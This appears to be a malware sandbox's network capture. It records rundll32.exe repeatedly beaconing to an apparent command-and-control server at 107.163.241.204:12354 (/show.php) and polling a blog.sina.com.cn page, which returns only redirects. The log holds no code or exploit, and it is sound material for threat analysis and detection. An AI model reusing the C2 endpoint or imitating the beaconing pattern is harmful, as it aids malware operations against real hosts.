Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.9	50200	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:30.373579025 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.9	50203	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:30.487062931 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:32.061713934 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:31 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.9	50204	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:30.487552881 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.9	50233	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:32.612746000 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.9	50236	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:32.730777979 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.9	50255	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:34.380562067 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.9	50257	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:34.486502886 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.9	50258	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:34.486591101 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:36.063488960 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:35 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.9	50289	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:36.604049921 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.9	50292	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:36.737837076 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.9	50317	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:38.392302036 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.9	50319	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:38.510656118 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.9	50320	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:38.512219906 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.9	50354	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:40.637304068 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.9	50356	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:40.786845922 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.9	50382	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:42.404793024 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.9	50385	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:42.520065069 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.9	50386	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:42.520148993 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:44.655164957 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:44 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.9	50414	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:44.650203943 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.9	50416	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:44.764868021 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.9	50446	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:46.441603899 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.9	50450	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:46.581362963 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.9	50451	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:46.582151890 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:48.143218040 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:47 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.9	50483	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:48.655706882 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.9	50487	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:48.816800117 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.9	50517	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:50.576754093 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.9	50520	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:50.694227934 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:52.271370888 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:52 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.9	50521	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:50.696141958 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.9	50571	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:52.809834003 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.9	50574	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:52.939590931 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.9	50610	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:54.591496944 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.9	50614	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:54.710439920 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.9	50615	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:54.727915049 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:56.292313099 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:56 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.9	50675	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:56.906470060 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.9	50681	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:57.023998022 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.9	50726	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:58.762630939 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.9	50730	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:58.762767076 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.9	50731	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:58.762850046 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:25:00.326045036 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:00 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.9	50804	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:00.979048014 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.9	50810	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:01.095097065 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.9	50858	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:02.944627047 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.9	50861	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:03.081012011 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.9	50862	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:03.089596987 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:25:04.663110971 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:04 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

